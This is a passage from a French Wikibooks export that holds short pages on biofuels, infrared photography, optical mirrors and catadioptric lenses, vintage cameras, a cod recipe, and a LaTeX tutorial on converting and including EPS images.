[[Carburant : sources]] Carburant:auteurs 6283 27545 2005-12-24T19:40:05Z Youssefsan 188 [[Carburant:auteurs]] déplacé vers [[Carburant : auteurs]] #REDIRECT [[Carburant : auteurs]] Modèle:Carburant 6284 45400 2006-06-22T13:09:10Z Greudin 1 -i {| align="right" width="200px" cellpadding="4" cellspacing="0" rules="all" style="border: 1px solid #999" |- | [[Carburant]] |- | [[Carburant : Introduction]] |- | [[Carburants fossiles]] |- | [[Biocarburants]] |- | [[Biocarburant : biodiesel]] |- |[[Biocarburant : fabrication du biodiesel]] |- |[[Biocarburant : situation pays par pays]] |- |[[Biocarburant : molécules]] |- |[[Biocarburant : lexique]] |- |[[Biocarburant : organismes publiques]] |- |[[Biocarburant : associations]] |- | [[Carburant : annexes]] |- | [[Carburant : sources]] |- | [[Carburant : auteurs]] |} Biocarburant : molécules 6286 27607 2005-12-25T15:56:59Z Youssefsan 188 {{EnTravaux}} {{carburant}} Voici une liste de molécules rencontrées dans l'étude des biocarburants. Le but de cette section est de décrire les molécules à la fois pour les personnes n'ayant pas suivi des cours de chimie que pour les spécialistes. Nous insisterons surtout sur leur intérêt dans la fabrication des biocarburants. *alcool : en chimie, un alcool est une molécule organique qui contient le radical OH, c'est-à-dire une molécule principalement composée d'atomes de carbone reliés à d'autres molécules de carbone ou reliés à des molécules d'hydrogène (= molécule organique) et qui possède un oxygène à la fois attaché à un carbone et un hydrogène. En chimie, les noms des alcools se termine en -ol. Exemples : éthanol (ou alcool éthylique, c'est la molécule présente dans les boissons alcoolisées telles le vin), le méthanol, etc *bioéthanol : voir éthanol *éthanol *hexane : molécule notamment utilisée comme solvant {{EnTravaux}} Biocarburant : lexique 6288 27608 2005-12-25T15:57:10Z Youssefsan 188 {{EnTravaux}} {{modèle carburant}} Voici une liste de termes rencontrées dans l'étude des biocarburants. Les molécules et les plantes chacune décrite dans une annexe à part. *cétane : voir indice cétane *co-produit ou coproduit *hectare *indice cétane *indice octane *octane : voir indice octane *transestérification {{EnTravaux}} {{EnTravaux}} Photographie - 40 - Bertram 6289 27586 2005-12-25T13:45:16Z Jean-Jacques MILAN 114 {{Photographie}} == Posemètres == === Bewi-Quick (vers 1961) === [[Image:Bertram Bewi-Quick.jpg|thumb|90px|Bertram Bewi-quick]] Posemètre avec une aiguille de mesure et une aiguille de repérage. Il faut aligner les deux aiguilles pour obtenir les réglages de l'appareil ou de la caméra, c'est-à-dire l'indice de lumination ou le couple de valeurs vitesse-diaphragme. === Bewi-Automat-B (vers 1961) === [[Image:Bertram Bewi-Automat-B.jpg|thumb|90px|Bertram Bewi-Automat-B]] On braque l'appareil sur le sujet, on appuie sur la touche, on attend 2 s, on relâche, et l'on obtient la mesure. Le posemètre peut travailler en lumière incidente ou en lumière réfléchie. === Bewi-Automat-C (vers 1961) === [[Image:Bertram Bewi-Automat-C.jpg|thumb|90px|Bertram Bewi-Automat-C]] Ce posemètre de très petite taille se pose sur n'importe quel modèle d'appareil grâce à une béquille rabattable. Biocarburants : plantes 6290 27603 2005-12-25T15:56:27Z Youssefsan 188 {{EnTravaux}} {{carburant}} Voici une liste de plantes qui peuvent intervenir dans la fabrication des biocarburants. Ces plantes seront briévement décrites ici : *bettrave sucrurière *canne à sucre *canola : variété de colza *colza *tournesol *soja {{EnTravaux}} Photographie - 23 - Photographie dans l'infrarouge 6291 27601 2005-12-25T15:55:42Z Jean-Jacques MILAN 114 {{Photographie}} == Généralités == Le domaine de l'infrarouge est beaucoup plus étendu que celui de la lumière visible puisqu'il s'étend de 780 nm à 300 000 nm environ. Tout au long de ce spectre, les propriétés sont fort différentes mais aucune de ces radiations ne peut agir sur les surfaces sensibles argentiques « normales ». L'infrarouge constitue une partie très importante du rayonnement solaire et de la lumière émise par les sources lumineuses à incandescence et les arcs électriques. Dans certaines conditions, des émulsions spéciales peuvent être utilisées pour enregistrer une partie de ce spectre invisible, du côté des plus courtes longueurs d'onde, c'est-à-dire dand le domaine qu'il est convenu d'appeler « proche infrarouge ». La sensibilisation de ces émulsions se fait grâce à des colorants de synthèse spéciaux tels que les néocyanines et les cryptocyanines qui permettent d'atteindre 800 à 900 nm. D'autres produits comme les tétra et pentacarbocyanines permettent d'atteindre 1 000 nm mais la manipulation des émulsions devient très délicate et la conservation doit se faire à la température de la neige carbonique, soit environ -70 °C. Ces émulsions « extrêmes » doivent parfois être hypersensibilisées avant usage dans une solution froide d'ammoniaque diluée. On trouve dans le commerce des émulsions en noir et blanc et une émulsion en couleurs, mais dans ce domaine la photographie argentique est très vite supplantée par les techniques numériques. {{EnTravaux}} == Nécessité de filtres spéciaux == Les films sensibles à l'infrarouge sont également sensibles aux radiations visibles et ces dernières doivent le plus souvent être éliminées par des filtres appropriés. Les filtres Wratten 87, 87 C, 88 A et 89 B semblent pratiquement opaques en lumière visible mais coupent les radiations respectivement à 740, 800, 730 et 680 nm. Naturellement la sensibilité apparente des émulsions aux lumières ainsi filtrées est très variable et des essais sont nécessaires pour déterminer les bons réglages en vue d'une aplication donnée. == Matériel de prise de vues == Des substances apparemment opaques, comme le bois, le cuir, l'ébonite, peuvent laisser passer des quantités notables d'infrarouge. Seuls les appareils dont la chambre est entièrement métallique peuvent apporter une sécurité absolue pour éviter que le film soit voilé. Les appareils dotés d'une mesure de l'avancement du film par diode infrarouge sont évidemment inutilisables. == Mise au point == Les objectifs habituels ne sont presque jamais corrigés pour l'infrarouge et l'oeil n'est d'aucun secours pour la mise au point puisqu'il ne perçoit pas ces radiations. En pratique l'image infrarouge se forme un peu plus loin que l'image visible par rapport à l'objectif qui se comporte donc comme s'il avait une distance focale légèrement plus longue (environ 0,5 %) que celle indiquée. Certains objectifs possèdent un repère spécial sur la bague de mise au point. Avec les appareils dotés d'une mise au point automatique, celle-ci devient inutilisable et il faut au moins pouvoir la débrayer ; à défaut, on tâchera de diaphragmer très fortement pour limiter les dégâts. == Traitement des films == Les fabricants préconisent généralement des produits appropriés au développement mais pour les films négatifs noir et blanc tous les révélateurs classiques peuvent a priori convenir. On peut également pratiquer une désensibilisation avant le traitement. == Photographie de paysages et vues aériennes == Les émulsions sensibles à l'infrarouge permettent de diminuer dans une large mesure les effets du voile atmosphérique dû aux poussières et aux minuscules gouttelettes d'eau présentes dans les atmosphères brumeuses. Ceci s'explique par le fait que la diffraction et la diffusion de la lumière par ces particules sont d'autant plus intenses que la longueur d'onde est plus courte. Cet effet déjà visible en photographiant à travers un filtre orangé ou un filtre jaune est nettement accentué grâce aux filtres «noirs» qui autorisent parfois l'enregistrement de montagnes situées à plusieurs centaines de km. Le bleu du ciel ne diffusant que très peu d'infrarouge apparaît très sombre ou presque noir, de sorte que certains photographies semblent faites au clair de Lune. Le rendu des nuages, en revanche, devient très vigoureux. La lumière diffusée par le ciel étant également éliminée, les ombres deviennent très denses. Les étendues d'eau deviennent également très sombres, mais la végétation est très éclaircie, comme givrée, car la chlorophylle renvoie une très forte proportion de la lumière infrarouge qu'elle reçoit. == Photographie dans l'obscurité == Il est possible d'éclairer une pièce obscure à l'aide d'un rayonnement infrarouge et les prises de vues peuvent alors être faites sans aucun filtre, ce qui permet d'obtenir une sensibilité apparente plus élevée qu'en plein jour. Des lampes spéciales peuvent être utilisées mais des objets suffisamment chauds, comme des fers à repasser électriques, font parfaitement l'affaire à condition d'opérer en pose longue. Les lampes-éclair magnésiques enfermées dans une enceinte munie d'un filtre donnaient de très bons résultats mais les flashes électroniques n'émettent que très peu de proche infrarouge et ne sont donc pas recommandés. La photographie des portraits et des nus pose des problèmes car tous les défauts de la peau et les tracés des vaisseaux sanguins superficiels apparaissent exagérés. Les peaux noires paraissent blanches. == Applications diverses == * Astronomie : la photographie et la spectroscopie dans l'infrarouge ont permis de nombreuses découvertes, en particulier on a pu ainsi mettre en évidence des astres invisibles autrement. * Photomicrographie : certaines structures normalement invisibles sont mises en évidence grâce aux radiations infrarouges. * Médecine : certaines maladies de peau peuvent être diagnostiquées, la structure du système veineux devient apparente sous l'épiderme. * Reproduction des documents : les taches et le jaunissement des papiers sont atténués ou disparaissent parfois complètement. On peut parfois faire réapparaître des textes écrits sur des papiers carbonisés. * Authentification des œuvres d'art : on peut déterminer la nature des pigments utilisés et découvrir des structures dissimulées par des couches de vernis jaunis. * Expertises judiciaires : la photographie en infrarouge est souvent associée à la [[Photographie - 23 - Photographie dans l'ultraviolet|photographie en ultraviolet]] et à la [[Photographie - 23 - Radiographie|radiographie]]. == Procédés électroniques et thermographie infrarouge == Les progrès de l'électronique ont permis de réaliser des capteurs capables d'enregistrer les images de corps chauds émettant largement au-delà de 1 000 nm. == Galerie d'images == {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Plecotus auritus 02.jpg|240px|center]] |'''Photographie IR d'une chauve-souris Plecotus auritus :'''<br> Le réseau des vaisseaux sanguins apparaît dans la membrane alaire. |- |[[Image:Infrared dog.jpg|240 px|center]] |'''Image infrarouge d'un chien :'''<br> L'infrarouge étant normalement invisible, il est impossible de lui attribuer autre chose que des couleurs conventionnelles mais évidemment fausses. Ici la gamme des couleurs correspond à la gamme des températures, de sorte qu'une mesure, ou tout au moins une évaluation, devient possible. Les zones les mieux irriguées par la circulation sanguine et les moins masquées par le pelage apparaissent logiquement plus chaudes que les autres. |- |[[Image:Milky Way infrared.jpg|240px|center]] |'''Image infrarouge de la Voie Lactée :'''<br> |- |[[Image:Milky Way center infrared.jpg|160px|center]] |'''Le centre de la Voie Lactée en infrarouge :''' |- |[[Image:Orion.Nebula.M42.Trapezium.Cluster.VIS-IR.HST.jpg|240px|center]] |'''La nébuleuse d'Orion :'''<br> On voit ici en parallèle une image en lumière visible et une image IR obtenues grâce au télescope Hubble. |- |[[Image:Full moon.jpeg|160px|center]] |'''Pleine Lune en infrarouge :'''<br> |Projet Galileo. |- |} Photographie - 23 - Photographie en infrarouge 6292 27596 2005-12-25T15:05:41Z Jean-Jacques MILAN 114 [[Photographie - 23 - Photographie en infrarouge]] déplacé vers [[Photographie - 23 - Photographie dans l'infrarouge]]: homogénéisation #REDIRECT [[Photographie - 23 - Photographie dans l'infrarouge]] Photographie - 40 - Widelux 6294 27625 2005-12-25T21:47:36Z Jean-Jacques MILAN 114 /* Widelux modèle VI (vers 1969) */ {{Photographie}} == Appareils panoramiques == === Widelux modèle VI (vers 1969) === [[Image:Widelux Japon modèle F VI vers 1969.jpg|thumb|180px|Widelux modèle F VI]] * '''Type d'appareil :''' panoramique (140 °) * '''Format de film :''' 135 * '''Objectif :''' 2,8/26 mm tournant sur 180 ° * '''Diaphragme :''' * '''Viseur :''' * '''Informations dans le viseur :''' * '''Mise au point :''' * '''Obturateur :''' 3 vitesses : 1/10e s, 1/100e s et 1/250e s * '''Déclencheur :''' * '''Contrôle de l'exposition :''' * '''Sensibilité film :''' * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' niveau incorporé * '''Remarques :''' permet de prendre 21 vues de 24 X 60 mm sur un film de 36 poses Photographie - 07 - Miroirs concaves et convexes 6295 44433 2006-06-12T14:22:32Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_07}} Plusieurs sortes de surfaces réfléchissantes peuvent être utilisées dans les systèmes optiques : * les miroirs plans, qui ne font que changer la direction des rayons lumineux sans introduire d'aberrations, * les miroirs paraboliques, qui concentrent rigoureusement en leur foyer les rayons qui arrivent parallèlement à l'axe ; leur usage est pratiquement restreint aux télescopes de grande puissance et de faible champ utilisés en astronomie, en raison de la difficulté et du coût de leur réalisation, * les miroirs elliptiques qui font converger en l'un de leurs foyers les rayons émis au niveau de l'autre ; ils sont réservés à des applications très spéciales. * les miroirs sphériques convexes ou concaves sont relativement faciles à réaliser et on les rencontre dans tous les objectifs catadioptriques modernes, associés à d'autres systèmes qui permettent d'en minimiser les défauts. {{EnCours}} == Miroir concave == [[Image:concavo_1.png|thumb|200px|Concave mirror (situation 1)]] [[Image:concavo_2.png|thumb|210px|Concave mirror (situation 2)]] [[Image:concavo_3.png|thumb|200px|Concave mirror (situation 3)]] [[Image:concavo_4.png|thumb|200px|Concave mirror (situation 4)]] Il existe 4 situations de base pour la formation de l'image : # si l'objet est plus éloigné du miroir que le centre de courbure (C) de la sphère, l'image est inversée et plus petite que l'objet, # si l'objet est situé au niveau du centre de la sphère, l'image est inversée et de même taille que l'objet, # si l'objet est situé entre le centre de courbure de la sphère et le foyer (F), l'image est inversée et plus grande que l'objet, # enfin, si l'objet est situé entre le foyer et le sommet du miroir, l'image devient virtuelle, de même orientation que l'objet et plus grande que ce dernier. Photographie - 07 - Miroir concave 6296 27631 2005-12-26T00:22:43Z Jean-Jacques MILAN 114 [[Photographie - 07 - Miroir concave]] déplacé vers [[Photographie - 07 - Miroirs concaves et convexes]] #REDIRECT [[Photographie - 07 - Miroirs concaves et convexes]] Modèle:Prettytable 6298 27638 2005-12-26T10:05:30Z Greudin 1 [[Modèle:Prettytable]] déplacé vers [[Modèle:Joli tableau]]: fr #REDIRECT [[Modèle:Joli tableau]] Photographie - 08 - Objectifs de longue focale 6299 44440 2006-06-12T14:29:47Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_08}} == Objectifs de longue focale == == Téléobjectifs dioptriques == {{EnTravaux}} == Objectifs catadioptriques == On appelle '''objectifs catadioptriques''' ceux qui comportent des surfaces réfléchissantes, contrairement aux objectifs '''dioptriques''' qui n'utilisent que des éléments transparents. Plus communément, on parle d''''objectifs à miroirs'''. Par rapport aux lentilles, les miroirs sphériques présentent deux avantages certains : ils n'introduisent aucune aberration chromatique et leur astigmatisme est environ 8 fois plus faible que celui d'une lentille de même ouverture et de même puissance. Cependant, leur courbure de champ et leur aberration de sphéricité restent importantes et nécessitent des systèmes de correction spécifiques. === La courbure de champ === [[Image:Courbure de champ du miroir spherique concave.png|thumb|240px|Courbure de champ du miroir sphérique]] Le foyer du miroir concave, dans les conditions de Gauss, est le point situé sur l'axe optique à mi-distance du centre de la sphère (C) et du sommet (S). Après réflexion, les rayons du faisceau axial convergent en un point (Fa) qui n'est autre que ce foyer. En revanche, lorsque le miroir reçoit un faisceau oblique, les rayons réfléchis convergent en un autre point (Fb) situé, pour des raisons géométriques évidentes, à la même distance du miroir que (Fa). Il s'ensuit que la surface focale est courbe, elle forme une calotte sphérique de même centre que le miroir et de rayon moitié. S'il s'agissait de placer une surface sensible directement au niveau de cette surface focale pour enregistrer une image, celle-ci serait forcément de bien piètre qualité, sauf dans le cas d'un angle de champ suffisamment petit par rapport au rayon de courbure pour que l'on puisse confondre cette calotte sphérique avec un élément de surface plan. Toutefois, le miroir sphérique ne peut pas servir directement pour réaliser un objectif. === L'aberration sphérique et sa correction par la lame de Schmidt === [[Image:Aberration spherique du miroir spherique concave.png|thumb|160px|Aberration sphérique]] [[Image:Lame de Schmidt.png|thumb|160px|Lame de Schmidt]] Après réflexion, les rayons très voisins de l'axe convergent au foyer (F). Pour les autres, la convergence se fait d'autant plus près du miroir, et donc d'autant plus loin du foyer, qu'ils sont plus éloignés de l'axe. L'image d'un point à l'infini est donc une caustique dont le point F constitue la pointe. En fait, plus les rayons du faisceau parallèle sont éloignés de l'axe et plus le miroir est convergent. Ce défaut peut être surmonté assez facilement par diverses méthodes et l'on peut même dire que les corrections sont plus faciles à réaliser qu'avec les lentilles. La '''lame de Schmidt''' constitue l'un des meilleurs systèmes de correction possibles. Elle a un profil particulier qui donne aux rayons la légère déviation nécessaire pour assurer leur convergence. Pour les rayons proches de l'axe, elle se comporte en fait comme une lentille légèrement convergente et inversement, pour les rayons marginaux, elle joue le rôle d'une lentille divergente. En général, les rayons convergent vers un point de l'axe situé légèrement plus près du miroir que le foyer, tout se passe donc finalement comme si l'association du miroir et de la lame était équivalent à un miroir corrigé de distance focale légèrement plus faible. Malheureusement, la lame de Schmidt ne donne une bonne correction de l'aberration sphérique que pour les rayons venant de l'infini ou tout au moins d'objets très éloignés, et par ailleurs, comme toutes les surfaces asphériques, elle est assez difficile à réaliser et forcément onéreuse. On l'emploie donc presque uniquement pour les instruments destinés aux observations astronomiques, mais il existe quelques exceptions dont la plus connue est un objectif de caméra cinématographique fabriqué par un constructeur états-unien, le ''Golden Navitar''. === Correction approchée par le ménisque de Bouwers === [[Image:Ménisque de Bouwers.png|thumb|160px|Ménisque de Bouwers]] La difficulté de réalisation et le coût des lames de Schmidt ont conduit à rechercher d'autres solutions pour corriger les aberrations des miroirs sphériques. L'opticien hollandais Bouwers a proposé de placer devant le miroir, au voisinage du centre de courbure du miroir, un ménisque divergent de faible puissance. Il est possible de cette façon de corriger l'essentiel de l'aberration de sphéricité de manière satisfaisante, du moins pour les usages courants. Ce ménisque est notablement plus épais que la lame de Schmidt et il peut de ce fait introduire un peu d'aberration chromatique dans l'image obtenue. On lui substitue donc généralement un doublet achromatique. === Schéma général de construction d'un objectif catadioptrique === [[Image:Nasmyth-Telescope.svg|thumb|240px|schéma d'un télescope type Newton]] [[Image:Schema objectif catadioptrique.png|thumb|240px|schéma d'un objectif catadioptrique]] A priori les miroirs possèdent un grave défaut pour la photographie, puisque si on les utilisait seuls, l'appareil se trouverait du côté de l'arrivée de la lumière et celle-ci serait en très grande partie arrêtée. Avec les très grands miroirs utilisés en astronomie cet inconvénient pourrait paraître mineur mais il devient rédhibitoire dans le cas de la photographie. Le système de Newton, par lequel l'image est renvoyée sur le côté par un miroir plan à 45°, est largement utilisé pour les observations astronomiques mais il n'est pas très pratique non plus pour les prises de vue. Le dispositif imaginé par Cassegrain est nettement meilleur pour la photographie : le miroir principal (R) est percé en son centre d'une ouverture par laquelle passe la lumière renvoyée par un miroir sphérique secondaire convexe (S). La luminosité est évidemment quelque peu diminuée mais cela ne pose pas vraiment de problème pratique. Les objectifs catadioptriques modernes sont pratiquement tous construits selon le schéma de Cassegrain. La lumière entre par un ménisque de Bouwers (M), se réfléchit deux fois sur les miroirs (R) et (S) et ressort à travers un second ménisque (M'). En plus de leurs rôles dans la formation de l'image, les deux ménisques assurent l'étanchéité du tube qui contient les éléments optiques, évitant avant tout l'intrusion de poussières et autres impuretés. Pour les très longues focales, pour lesquelles les aberrations voient leur importance relative augmenter, des formules optiques plus complexes sont souvent utilisées. === Particularités des objectifs catadioptriques === Par rapport aux téléobjectifs de focales et de luminosité identiques, les téléobjectifs à miroir sont à la fois plus légers et beaucoup moins encombrants, ce qui a fait leur succès auprès des amateurs dans les années 1970, lorsque l'on a commencé à trouver des fabrications à la fois de bonne qualité et de prix raisonnable ; à part Minolta qui a produit un minuscule objectif de 250 mm, les autres constructeurs ont surtout proposé des objectifs de 400 et 500 mm. De très longues focales de 800, 1000 ou même 2000 mm ont été proposées mais leurs usages peuvent être considérés comme très particuliers. Pour photographier les oiseaux à très grande distance, ou encore pour les observations astronomiques, il est probablement préférable d'utiliser des télescopes plutôt que des téléobjectifs catadioptriques. Les objectifs catadioptriques ne possèdent pas de diaphragme, ils sont généralement vendus avec un jeu de filtres gris que l'on peut insérer dans la monture arrière lorsque la luminosité de la scène à photographier est trop importante par rapport à la sensibilité du film utilisé. MPSI/PCSI (E-M) 6300 27767 2005-12-27T19:44:43Z Pdm 959 {{ExoMath}} Voici une liste par chapitre d'exercices que l'on rencontre en classes de [[w:PCSI|PCSI]] et de [[w:MPSI|MPSI]]. Les deux programmes sont proches, et une majorité d'exercices peuvent être posés dans les deux classes. On précisera lorsque ce n'est pas le cas. = programme de première période = De nombreux exercices de cette partie sont faisables dès la terminale, et même avant. == Nombres complexes == == Fonctions usuelles == == Equations différentielles == == Géométrie plane élémentaire et Coniques == == Courbes paramétrées dans le plan == == Géométrie élémentaire de l'espace == = seconde période = Photographie - 40 - Polaroïd 6303 27667 2005-12-26T21:11:52Z Jean-Jacques MILAN 114 {{Photographie}} == Polaroïd 900 (vers 1961) == [[Image:Polaroid 900.jpg|thumb|150px|PolaroÏd 900]] * '''Type d'appareil :''' appareil pliant pour la photographie instantanée * '''Format de film :''' spécial Polaroïd 3000 ASA * '''Objectif :''' * '''Monture des objectifs :''' * '''Diaphragme :''' * '''Viseur :''' * '''Informations dans le viseur :''' * '''Mise au point :''' * '''Obturateur :''' * '''Prise de flash :''' * '''Déclencheur :''' * '''Contrôle de l'exposition :''' diaphragme et vitesse réglés automatiquement par une cellule * '''Sensibilité film :''' 3000 ASA * '''Mémorisation de la mesure :''' * '''Retardateur :''' * '''Avance du film :''' * '''Correction d'exposition :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Contrôle de piles :''' * '''Alimentation :''' * '''Interrupteur principal :''' * '''Dimensions :''' * '''Poids :''' (boîtier seul, sans pile). * '''Accessoires :''' * '''Remarques :''' le flash dédié Wink-Light utilise une petite lampe capable de fournir 1000 éclairs. Photographie - 40 - Goerz 6304 27669 2005-12-26T21:27:05Z Jean-Jacques MILAN 114 {{Photographie}} Société autrichienne == Appareils de microformat == === Minicord 10x10 (vers 1960) === [[Image:Goerz Minicord.jpg|thumb|150px|Goerz Minicord 10x10]] * '''Type d'appareil :''' Appareil réflex de microformatà deux objectifs * '''Format de film :''' film cinéma 16 mm * '''Objectifs :''' * '''Diaphragme :''' * '''Viseur :''' * '''Informations dans le viseur :''' * '''Mise au point :''' * '''Obturateur :''' * '''Prise de flash :''' * '''Déclencheur :''' * '''Contrôle de l'exposition :''' * '''Sensibilité film :''' * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Contrôle de piles :''' * '''Alimentation :''' * '''Interrupteur principal :''' * '''Dimensions :''' * '''Poids :''' * '''Accessoires :''' * '''Remarques :''' Photographie - 40 - General Electric 6305 27674 2005-12-26T23:08:39Z Jean-Jacques MILAN 114 {{Photographie}} Le département des instruments de mesure de la société General Electric a fabriqué des posemètres. == Posemètres == === Golden Crown PR III (1961) === [[Image:Posemètre General Electric Golden Crown PR III.jpg|thumb|180px|General Electric Golden Crown PR III]] L'appareil dispose de deux gammes de sensibilité, l'une pour l'utilisation normale, l'autre pour une mesure plus directionnelle en lumière vive. Un multiplicateur de lumière appelé ''Dynacell'' augmente de 16 fois la sensibilité du système et permet d'effectuer des mesures sur des sujets très faiblement éclairés (environ 1 lux). Le ''Dynacell'' peut rester à demeure sur le posemètre, il se replie alors sous l'appareil en même temps qu'il se déconnecte. Photographie - 40 - Concava 6306 27692 2005-12-27T11:54:15Z Jean-Jacques MILAN 114 {{Photographie}} Société suisse installée à Lugano === Tessina === [[Image:Concava Tessina.jpg|thumb|180px|Concava Tessina]] * '''Type d'appareil :''' appareil de petit format (14 x 21 mm) * '''Format de film :''' 35 mm standard mais l'appareil utilise des cartouches spéciales de faible diamètre (que l'on trouvait en standard chargées en films Adox). Chaque cartouche contient 23 images en NB et 18 en couleurs * '''Objectif :''' Tessinor 2,8/25 mm * '''Diaphragme :''' * '''Viseur :''' visée réflex et viseur à cadre * '''Informations dans le viseur :''' * '''Mise au point :''' jusqu'à 30 cm * '''Obturateur :''' à guillotine donnant la pose B et les vitesses de 1/2 s à 1/500e s synchronisé pour les lampes-éclair et les flashes électroniques. L'obturateur s'arme pour prendre 8 images coup sur coup * '''Prise de flash :''' oui * '''Déclencheur :''' * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Dimensions :''' 28 x 52 x 68 mm * '''Poids :''' 168 g * '''Accessoires :''' boîtier étanche permettant de vider une cartouche 135 dans le chargeur spécial ; l'appareil pouvait se monter sur un bracelet spécial et se porter comme une montre * '''Remarques :''' coûtait 550 NF en 1961 Photographie - 40 - Ihagee 6307 27679 2005-12-27T00:36:58Z Jean-Jacques MILAN 114 {{Photographie}} Société allemande installée à Dresde. == Appareils 24 X 36 réflex == === Exakta Varex 1961 === [[Image:Ihagee Exakta Varex 1961.jpg|thumb|180px|Exakta Varex modèle 1961]] * '''Type d'appareil :''' 24 X 36 réflex * '''Format de film :''' 135 * '''Objectifs :''' vaste gamme d'objectifs interchangeables * '''Monture des objectifs :''' * '''Diaphragme :''' * '''Présélection du diaphragme :''' * '''Viseur :''' * '''Informations dans le viseur :''' * '''Mise au point :''' * '''Obturateur :''' * '''Prise de flash :''' * '''Déclencheur :''' * '''Contrôle de l'exposition :''' * '''Sensibilité film :''' * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Touche de profondeur de champ :''' * '''Dimensions :''' * '''Poids :''' (boîtier seul, sans pile). * '''Accessoires :''' très nombreux, font partie du système Exakta ; on peut citere des soufflets, un banc macro, des statifs, etc. * '''Remarques :''' Cuisine:Recettes de cuisine marocaine 6308 33732 2006-02-21T08:22:16Z 83.198.38.219 correction orthographe + mise en forme de l'article la morue au four Desalez la morue 48 heures avant de la consommer, <br/>faire frire les pavés de morue, <br/>faire des frites, <br/>frire les oignons, <br/>émietter la morue (enlever la peau et les arrêtes) dans un plat a gratiner, <br/>mettre la morue puis ajouter les frites et les oignons, <br/>ajouter 6 oeufs battu et mettre au four une demi heure environ<br/> pour les quantités c'est vous qui voyeez selon le nombre de personnes, en général pour 4 personnes : <br/> :500 gr de morue, <br/> :500 de frites, <br/> :500 d'oignons, <br/> :4 oeufs <br/> bon appétit. Recueil de contrepèteries 6309 27711 2005-12-27T15:24:04Z Darkdadaah 440 doublon de [[Livre d'humour/Liste de contrepèteries]] => transformation en redirect #REDIRECT [[Livre d'humour/Liste de contrepèteries]] Programmation LaTeX Images 6311 38628 2006-03-23T12:33:40Z 152.77.18.70 /* Conversion d'images vers ''EPS'' (sous Windows) */ {{LaTeX-nav}} À bien des égards, l'importation de vos images dans votre document en employant Latex est assez simple... à partir du moment où vos images sont dans le bon format! Par conséquent, je crains que pour beaucoup de gens, le plus grand effort sera de convertir leurs fichiers graphiques. === Postscript encapsulé (EPS) === Fondamentalement, si vous souhaitez importer une quelconque image dans votre document en utilisant Latex, le format de fichier de l'image doit être EPS. EPS a été défini par Adobe pour rendre facile l'importation dans les documents, par les applications, des graphiques basés sur du postscript. Puisqu'un fichier EPS déclare la taille de l'image, il devient aisé pour des systèmes comme Latex d'arranger le texte et les graphiques de la meilleure manière qu'il soit. La plupart des logiciels de dessin dignes de ce nom, ont la possibilité d'enregistrer des images au format EPS (l'extension de ces fichiers est normalement ''.eps''). Évidemment, les applications d' ''adobe'' ont cette possibilité, puisqu' ''adobe'' a développé les normes ''PS'' et ''EPS'', toutefois il y a beaucoup d'autres solutions de rechange. === Conversion d'images vers EPS (sous Linux) === Il existe tellement d'utilitaires sur Linux pour convertir un fichier graphique d'un format vers un autre que vous pouvez vous y perdre. Il y en a de nombreux qui sont spécialisés dans la conversion d'un format donné vers ''EPS''. Citons ''jpeg2ps'' par exemple. Cependant, je parlerai d'un meilleur logiciel et plus générique, appelé <span class="command">convert</span>. <span class="command">convert</span> supporte absolument tous les formats graphiques que vous pouvez mentionner, et sa beauté est qu'il vous laissera convertir un fichier de n'importe quel format vers n'importe quel format qu'il comprend. C'est un programme qui s'utilise en ligne de commande, mais très simple d'utilisation. Vous passez deux paramètres, le premier étant le nom de fichier de votre image courante, et le second est le nom de fichier que vous souhaitez donner à votre image convertie. Normalement, la seule différence est dans l'extension du fichier. Par défaut, ''convert'' déterminera les formats d'entrée et de sortie par les extensions des fichiers que vous lui fournissez. Par exemple: convert graphe.jpg graphe.eps Cette commande charge le fichier au format ''JPEG'', ''graphe.jpg'', et le convertit en un fichier au format ''EPS'' portant le même nom. Naturellement, cela fonctionnerait également si votre image originale était au format ''BMP'', ou ''GIF'', ou ''PNG'', etc. Pour une approche plus graphique, essayez ''Le GIMP'', qui vous permet visuellement de charger et d'enregistrer dans de multiples formats d'image. === Conversion d'images vers ''EPS'' (sous Windows) === Il existe des applications de base sous ''Windows'' qui peuvent faire ce travail de conversion, cependant, je ne retiendrai que quelques logiciels en vogue. Mon premier choix se porte évidemment sur ''Le GIMP'' qui peut maintenant être installé sous ''Windows'', et mon deuxième choix ''Paint Shop Pro'' qui est un logiciel commercial. Les deux logiciels supportent un large éventail de formats graphiques, et conviendront parfaitement pour convertir les fichiers graphiques. Actuellement, la version de ''The GIMP'' est la 2.2.9 (nécessite ''GTK+ 2 pour ''Windows'' (version 2.6.9)) et celle de ''Paint Shop Pro'' est la v9.0. Même si ''Paint Shop Pro'' est plus largement utilisé, ''The GIMP'' est un logiciel libre de qualité professionnelle qui vous permettra de traiter les images sans débourser un euro! Il est alors important que vous copiiez alors vos images à un endroit où Latex pourra les lire. ''Corel Draw 9'' est également disponible pour les utilisateurs de ''Windows'' qui peuvent réaliser des tâches semblables. Naturellement, vous pouvez toujours lancer votre système Linux et utiliser l'utilitaire infiniment plus souple ''convert''. Il existe aussi des versions pour ''Windows'' de la commande ''convert'', comme par exemple celle proposée par la suite ''ImageMagick''. Il faut cependant ne pas être effrayé par la ligne de commande sous ''Windows''... === Graphicx === Je supposerai désormais que vous avez facilement converti toutes vos images dans le format ''EPS''. Maintenant il est temps de voir les mécanismes permettant de les importer dans votre document Latex. Comme avec la plupart des choses en Latex, il y a plus d'un moyen d'éplucher une banane. Et cela reste vrai pour importer des fichiers au format ''EPS'' dans vos documents. Cependant, je m'intéresserai plus particulièrement à un paquet appelé <span class="command">graphicx</span>, qui effectue rapidement cette tâche, et avec peu d'effort. Avant de pouvoir disposer des commandes suivantes pour travailler, vous devez placer <span class="command">\usepackage{graphicx}</span> dans le préambule de votre document. La syntaxe pour utiliser ''graphicx'' est: <span class="command">\includegraphics[''attr1=val1, attr2=val2, ..., attrn=valn'']{''image.eps''}</span> Comme vous devriez maintenant le savoir si tout va bien, les paramètres entre crochets sont facultatifs, tandis que les accolades sont obligatoires. La variété d'attributs possibles qui peuvent être fournis est grande, et donc je ne parlerai que des plus utiles: {| | <span class="command">width=xx</span> | Indiquez à la place de ''xx'' la largeur souhaitée de 